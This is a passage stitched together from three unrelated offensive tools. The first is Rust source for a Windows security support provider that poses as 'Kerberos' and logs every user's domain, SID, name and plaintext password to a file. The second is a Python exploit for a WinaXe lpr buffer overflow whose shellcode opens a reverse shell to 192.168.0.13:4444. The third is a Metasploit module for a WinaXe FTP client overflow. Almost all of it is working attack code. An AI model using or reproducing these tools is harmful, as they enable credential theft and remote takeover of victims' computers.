SECPKG_PARAMETERS, LSA_SECPKG_FUNCTION_TABLE, SECPKG_FLAG_ACCEPT_WIN32_NAME, SECPKG_FLAG_CONNECTION, SECURITY_LOGON_TYPE, LSA_UNICODE_STRING, SECPKG_PRIMARY_CRED, SECPKG_SUPPLEMENTAL_CRED, SECPKG_INTERFACE_VERSION, SecPkgInfoW, PLSA_AP_INITIALIZE_PACKAGE, PLSA_AP_LOGON_USER, PLSA_AP_CALL_PACKAGE, PLSA_AP_LOGON_TERMINATED, PLSA_AP_CALL_PACKAGE_PASSTHROUGH, PLSA_AP_LOGON_USER_EX, PLSA_AP_LOGON_USER_EX2, SpShutdownFn, SpInitializeFn, SpAcceptCredentialsFn, SpAcquireCredentialsHandleFn, SpFreeCredentialsHandleFn, LSA_AP_POST_LOGON_USER, SpExtractTargetInfoFn, PLSA_AP_POST_LOGON_USER_SURROGATE, PLSA_AP_PRE_LOGON_USER_SURROGATE, PLSA_AP_LOGON_USER_EX3, SpGetTbalSupplementalCredsFn, SpGetRemoteCredGuardSupplementalCredsFn, SpGetRemoteCredGuardLogonBufferFn, SpValidateTargetInfoFn, SpUpdateCredentialsFn, SpGetCredUIContextFn, SpExchangeMetaDataFn, SpQueryMetaDataFn, SpChangeAccountPasswordFn, SpSetCredentialsAttributesFn, SpSetContextAttributesFn, SpSetExtendedInformationFn, SpAddCredentialsFn, SpQueryContextAttributesFn, SpGetExtendedInformationFn, SpGetUserInfoFn, SpApplyControlTokenFn, SpDeleteContextFn, SpAcceptLsaModeContextFn, SpInitLsaModeContextFn, SpDeleteCredentialsFn, SpGetCredentialsFn, SpSaveCredentialsFn, SpQueryCredentialsAttributesFn}, Authorization::ConvertSidToStringSidW
},
Foundation::{NTSTATUS, STATUS_SUCCESS, PSID}
}, core::PWSTR
};
use windows::core::Result;
use windows::core::Error;
pub type SpGetInfoFn = ::core::option::Option<unsafe extern "system" fn(packageinfo: *mut SecPkgInfoW) -> NTSTATUS>;
#[repr(C)]
pub struct SECPKG_FUNCTION_TABLE {
pub InitializePackage: PLSA_AP_INITIALIZE_PACKAGE,
pub LogonUserA: PLSA_AP_LOGON_USER,
pub CallPackage: PLSA_AP_CALL_PACKAGE,
pub LogonTerminated: PLSA_AP_LOGON_TERMINATED,
pub CallPackageUntrusted: PLSA_AP_CALL_PACKAGE,
pub CallPackagePassthrough: PLSA_AP_CALL_PACKAGE_PASSTHROUGH,
pub LogonUserExA: PLSA_AP_LOGON_USER_EX,
pub LogonUserEx2: PLSA_AP_LOGON_USER_EX2,
pub Initialize: SpInitializeFn,
pub Shutdown: SpShutdownFn,
pub GetInfo: SpGetInfoFn,
pub AcceptCredentials: SpAcceptCredentialsFn,
pub AcquireCredentialsHandleA: SpAcquireCredentialsHandleFn,
pub QueryCredentialsAttributesA: SpQueryCredentialsAttributesFn,
pub FreeCredentialsHandle: SpFreeCredentialsHandleFn,
pub SaveCredentials: SpSaveCredentialsFn,
pub GetCredentials: SpGetCredentialsFn,
pub DeleteCredentials: SpDeleteCredentialsFn,
pub InitLsaModeContext: SpInitLsaModeContextFn,
pub AcceptLsaModeContext: SpAcceptLsaModeContextFn,
pub DeleteContext: SpDeleteContextFn,
pub ApplyControlToken: SpApplyControlTokenFn,
pub GetUserInfo: SpGetUserInfoFn,
pub GetExtendedInformation: SpGetExtendedInformationFn,
pub QueryContextAttributesA: SpQueryContextAttributesFn,
pub AddCredentialsA: SpAddCredentialsFn,
pub SetExtendedInformation: SpSetExtendedInformationFn,
pub SetContextAttributesA: SpSetContextAttributesFn,
pub SetCredentialsAttributesA: SpSetCredentialsAttributesFn,
pub ChangeAccountPasswordA: SpChangeAccountPasswordFn,
pub QueryMetaData: SpQueryMetaDataFn,
pub ExchangeMetaData: SpExchangeMetaDataFn,
pub GetCredUIContext: SpGetCredUIContextFn,
pub UpdateCredentials: SpUpdateCredentialsFn,
pub ValidateTargetInfo: SpValidateTargetInfoFn,
pub PostLogonUser: LSA_AP_POST_LOGON_USER,
pub GetRemoteCredGuardLogonBuffer: SpGetRemoteCredGuardLogonBufferFn,
pub GetRemoteCredGuardSupplementalCreds: SpGetRemoteCredGuardSupplementalCredsFn,
pub GetTbalSupplementalCreds: SpGetTbalSupplementalCredsFn,
pub LogonUserEx3: PLSA_AP_LOGON_USER_EX3,
pub PreLogonUserSurrogate: PLSA_AP_PRE_LOGON_USER_SURROGATE,
pub PostLogonUserSurrogate: PLSA_AP_POST_LOGON_USER_SURROGATE,
pub ExtractTargetInfo: SpExtractTargetInfoFn,
}
const SecPkgFunctionTable : SECPKG_FUNCTION_TABLE= SECPKG_FUNCTION_TABLE{
InitializePackage: None ,
LogonUserA: None ,
CallPackage: None,
LogonTerminated: None,
CallPackageUntrusted: None,
CallPackagePassthrough: None,
LogonUserExA: None,
LogonUserEx2: None,
Initialize: Some(_SpInitialize),
Shutdown: Some(_SpShutDown),
GetInfo: Some(_SpGetInfo),
AcceptCredentials: Some(_SpAcceptCredentials),
AcquireCredentialsHandleA: None,
QueryCredentialsAttributesA: None,
FreeCredentialsHandle: None,
SaveCredentials: None,
GetCredentials: None,
DeleteCredentials: None,
InitLsaModeContext: None,
AcceptLsaModeContext: None,
DeleteContext: None,
ApplyControlToken: None,
GetUserInfo: None,
GetExtendedInformation: None,
QueryContextAttributesA: None,
AddCredentialsA: None,
SetExtendedInformation: None,
SetContextAttributesA: None,
SetCredentialsAttributesA: None,
ChangeAccountPasswordA: None,
QueryMetaData: None,
ExchangeMetaData: None,
GetCredUIContext: None,
UpdateCredentials: None,
ValidateTargetInfo: None,
PostLogonUser: None,
GetRemoteCredGuardLogonBuffer: None,
GetRemoteCredGuardSupplementalCreds: None,
GetTbalSupplementalCreds: None,
LogonUserEx3: None,
PreLogonUserSurrogate: None,
PostLogonUserSurrogate: None,
ExtractTargetInfo: None,
};
#[no_mangle]
pub unsafe extern "system" fn _SpGetInfo(packageinfo: *mut SecPkgInfoW) -> NTSTATUS {
(*packageinfo).fCapabilities = SECPKG_FLAG_ACCEPT_WIN32_NAME | SECPKG_FLAG_CONNECTION;
(*packageinfo).wVersion = 1;
(*packageinfo).wRPCID = 0;
(*packageinfo).cbMaxToken = 0;
let name = OsString::from("Kerberos").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
let Comment= OsString::from("Kerberos v1.0").encode_wide().chain(Some(0)).collect::<Vec<_>>().as_ptr();
(*packageinfo).Name = name as *mut u16;
(*packageinfo).Comment = Comment as *mut u16;
STATUS_SUCCESS
}
#[no_mangle]
pub unsafe extern "system" fn _SpShutDown() -> NTSTATUS {
STATUS_SUCCESS
}
#[no_mangle]
pub unsafe extern "system" fn _SpInitialize(
packageid: usize,
parameters: *const SECPKG_PARAMETERS,
functiontable: *const LSA_SECPKG_FUNCTION_TABLE,
) -> NTSTATUS {
STATUS_SUCCESS
}
pub fn lsa_unicode_string_to_string(lsa_us: &LSA_UNICODE_STRING) -> String {
let slice = unsafe { slice::from_raw_parts(lsa_us.Buffer.0 as *const u16, lsa_us.Length as usize / 2) };
let os_string = OsString::from_wide(slice);
os_string.into_string().unwrap()
}
#[no_mangle]
pub unsafe extern "system" fn _SpAcceptCredentials(
logontype: SECURITY_LOGON_TYPE,
accountname: *const LSA_UNICODE_STRING,
primarycredentials: *const SECPKG_PRIMARY_CRED,
supplementalcredentials: *const SECPKG_SUPPLEMENTAL_CRED,
) -> NTSTATUS {
let mut logfile = File::create("C:\\temp.log").expect("");
logfile.write_all(">>>>\n".as_bytes()).expect("CustSSP.log write failed");
writeln!(
logfile,
"[+] Authentication Id : {}:{} ({:08x}:{:08x})",
(*primarycredentials).LogonId.HighPart,
(*primarycredentials).LogonId.LowPart,
(*primarycredentials).LogonId.HighPart,
(*primarycredentials).LogonId.LowPart,
).unwrap();
let logon_type_str = match logontype {
SECURITY_LOGON_TYPE::UndefinedLogonType => "UndefinedLogonType",
SECURITY_LOGON_TYPE::Interactive => "Interactive",
SECURITY_LOGON_TYPE::Network => "Network",
SECURITY_LOGON_TYPE::Batch => "Batch",
SECURITY_LOGON_TYPE::Service => "Service",
SECURITY_LOGON_TYPE::Proxy => "Proxy",
SECURITY_LOGON_TYPE::Unlock => "Unlock",
SECURITY_LOGON_TYPE::NetworkCleartext => "NetworkCleartext",
SECURITY_LOGON_TYPE::NewCredentials => "NewCredentials",
SECURITY_LOGON_TYPE::RemoteInteractive => "RemoteInteractive",
SECURITY_LOGON_TYPE::CachedInteractive => "CachedInteractive",
SECURITY_LOGON_TYPE::CachedRemoteInteractive => "CachedRemoteInteractive",
SECURITY_LOGON_TYPE::CachedUnlock => "CachedUnlock",
_ => "Unknown !"
};
writeln!(logfile, "[+] Logon Type : {}", logon_type_str).unwrap();
writeln!(logfile, "[+] User Name : {:?}", accountname);
writeln!(logfile, "[+] * Domain : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DomainName));
writeln!(logfile, "[+] * Logon Server : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).LogonServer));
writeln!(logfile, "[+] * SID : {:?}", convert_sid_to_string((*primarycredentials).UserSid));
writeln!(logfile, "[+] * UserName : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).DownlevelName));
writeln!(logfile, "[+] * Password : {:?}", lsa_unicode_string_to_string(&(*primarycredentials).Password));
drop(logfile);
STATUS_SUCCESS
}
#[no_mangle]
pub fn convert_sid_to_string(sid: PSID) -> Result<String> {
let mut sid_string_ptr: PWSTR = windows::core::PWSTR(std::ptr::null_mut());
let result = unsafe { ConvertSidToStringSidW(sid, &mut sid_string_ptr) };
if result.is_ok() {
let sid_string = unsafe { get_string_from_pwstr(sid_string_ptr) };
Ok(sid_string)
} else {
Err(Error::from_win32())
}
}
#[no_mangle]
pub unsafe fn get_string_from_pwstr(pwstr: PWSTR) -> String {
let len = (0..).take_while(|&i| *pwstr.0.offset(i) != 0).count();
let slice = std::slice::from_raw_parts(pwstr.0 as *const u16, len);
String::from_utf16_lossy(slice)
}
#[no_mangle]
pub unsafe extern "system" fn SpLsaModeInitialize(
LsaVersion: u32,
PackageVersion: *mut u32,
ppTables: *mut *const SECPKG_FUNCTION_TABLE,
pcTables: *mut u32,
) -> NTSTATUS {
*PackageVersion = SECPKG_INTERFACE_VERSION ;
*ppTables = &SecPkgFunctionTable;
*pcTables = 1 as u32;
STATUS_SUCCESS
}
参考文章
https://lengjibo.github.io/lassdump/
https://xz.aliyun.com/t/12157#toc-10
https://www.crisprx.top/archives/469
https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%BF%9C%E7%A8%8B%E4%BB%8Elsass.exe%E8%BF%9B%E7%A8%8B%E5%AF%BC%E5%87%BA%E5%87%AD%E6%8D%AE
https://www.freebuf.com/sectool/226170.html
https://xz.aliyun.com/t/12157#toc-4
https://cloud.tencent.com/developer/article/2103172
https://mrwu.red/web/2000.html
https://www.wangan.com/p/11v72bf602eabeb6#SpAcceptCredentials
https://loong716.top/posts/lsass/#4-x86%E7%8E%AF%E5%A2%83%E4%B8%8B%E5%88%A9%E7%94%A8rpc%E5%8A%A0%E8%BD%BDssp
https://xz.aliyun.com/t/8323
https://drunkmars.top/2021/12/05/%E6%B3%A8%E5%85%A5SSP/
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.wangan.com/p/11v72bf602eabeb6
https://github.com/haoami/RustSSPdumpHash
转载于原文链接地址:https://forum.butian.net/share/2434
# Exploit Title: WinaXe Plus 8.7 - lpr remote buffer overflow
# Date: 2017-01-16
# Exploit Author: Peter Baris
# Exploit link: http://www.saptech-erp.com.au/resources/winaxe_lpr.zip
# Software Link: http://www.labf.com/download/winaxep-ok.html
# Version: 8.7
# Tested on: Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows 10 Pro x64, Windows Server 2012 R2 x64, Windows Server 2016 x64
#Start the fake LPD daemon -> Add the network printer -> Close
import socket
# WinAxe Plus 8.7 - lpr remote buffer overflow
# Author: Peter Baris
# Tested on Windows Server 2008 R2 x64, Windows 7 SP1 x64, Windows 10 Pro x64, Windows Server 2012 R2 x64, Windows Server 2016 x64
#reverse shell to 192.168.0.13 port 4444, length: 351 bytes, bad characters \x00\x0a\x0d
shell = ("\xb8\xb1\x79\xd9\xb5\xdb\xdc\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
"\x52\x83\xeb\xfc\x31\x43\x0e\x03\xf2\x77\x3b\x40\x08\x6f\x39"
"\xab\xf0\x70\x5e\x25\x15\x41\x5e\x51\x5e\xf2\x6e\x11\x32\xff"
"\x05\x77\xa6\x74\x6b\x50\xc9\x3d\xc6\x86\xe4\xbe\x7b\xfa\x67"
"\x3d\x86\x2f\x47\x7c\x49\x22\x86\xb9\xb4\xcf\xda\x12\xb2\x62"
"\xca\x17\x8e\xbe\x61\x6b\x1e\xc7\x96\x3c\x21\xe6\x09\x36\x78"
"\x28\xa8\x9b\xf0\x61\xb2\xf8\x3d\x3b\x49\xca\xca\xba\x9b\x02"
"\x32\x10\xe2\xaa\xc1\x68\x23\x0c\x3a\x1f\x5d\x6e\xc7\x18\x9a"
"\x0c\x13\xac\x38\xb6\xd0\x16\xe4\x46\x34\xc0\x6f\x44\xf1\x86"
"\x37\x49\x04\x4a\x4c\x75\x8d\x6d\x82\xff\xd5\x49\x06\x5b\x8d"
"\xf0\x1f\x01\x60\x0c\x7f\xea\xdd\xa8\xf4\x07\x09\xc1\x57\x40"
"\xfe\xe8\x67\x90\x68\x7a\x14\xa2\x37\xd0\xb2\x8e\xb0\xfe\x45"
"\xf0\xea\x47\xd9\x0f\x15\xb8\xf0\xcb\x41\xe8\x6a\xfd\xe9\x63"
"\x6a\x02\x3c\x23\x3a\xac\xef\x84\xea\x0c\x40\x6d\xe0\x82\xbf"
"\x8d\x0b\x49\xa8\x24\xf6\x1a\x17\x10\xf8\xd7\xff\x63\xf8\xf6"
"\xa3\xea\x1e\x92\x4b\xbb\x89\x0b\xf5\xe6\x41\xad\xfa\x3c\x2c"
"\xed\x71\xb3\xd1\xa0\x71\xbe\xc1\x55\x72\xf5\xbb\xf0\x8d\x23"
"\xd3\x9f\x1c\xa8\x23\xe9\x3c\x67\x74\xbe\xf3\x7e\x10\x52\xad"
"\x28\x06\xaf\x2b\x12\x82\x74\x88\x9d\x0b\xf8\xb4\xb9\x1b\xc4"
"\x35\x86\x4f\x98\x63\x50\x39\x5e\xda\x12\x93\x08\xb1\xfc\x73"
"\xcc\xf9\x3e\x05\xd1\xd7\xc8\xe9\x60\x8e\x8c\x16\x4c\x46\x19"
"\x6f\xb0\xf6\xe6\xba\x70\x06\xad\xe6\xd1\x8f\x68\x73\x60\xd2"
"\x8a\xae\xa7\xeb\x08\x5a\x58\x08\x10\x2f\x5d\x54\x96\xdc\x2f"
"\xc5\x73\xe2\x9c\xe6\x51")
#100299DD - CALL ESP in xwpdllib.dll
buffer="A"*512+"\xdd\x99\x02\x10"+"\x90"*32+shell
port = 515
s = socket.socket()
ip = '0.0.0.0'
s.bind((ip, port))
s.listen(5)
print 'Listening on LPD port: '+str(port)
while True:
conn, addr = s.accept()
conn.send(buffer)
conn.close()
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::FtpServer
def initialize(info = {})
super(update_info(info,
'Name' => 'WinaXe 7.7 FTP Client Remote Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow in the WinaXe 7.7 FTP client.
This issue is triggered when a client connects to the server and is
expecting the Server Ready response.
},
'Author' =>
[
'Chris Higgins', # msf Module -- @ch1gg1ns
'hyp3rlinx' # Original discovery
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'EDB', '40693'],
[ 'URL', 'http://hyp3rlinx.altervista.org/advisories/WINAXE-FTP-CLIENT-REMOTE-BUFFER-OVERFLOW.txt' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x0a\x0d"
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal',
{
'Offset' => 2065,
'Ret' => 0x68017296 # push esp # ret 0x04 WCMDPA10.dll
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Nov 03 2016',
'DefaultTarget' => 0))
end
def on_client_unknown_command(c, _cmd, _arg)
c.put("200 OK\r\n")
end
def on_client_connect(c)
print_status("Client connected...")
sploit = rand_text(target['Offset'])
sploit << [target.ret].pack('V')
sploit << make_nops(10)
sploit << payload.encoded
sploit << make_nops(20)
c.put("220" + sploit + "\r\n")
c.close
end
end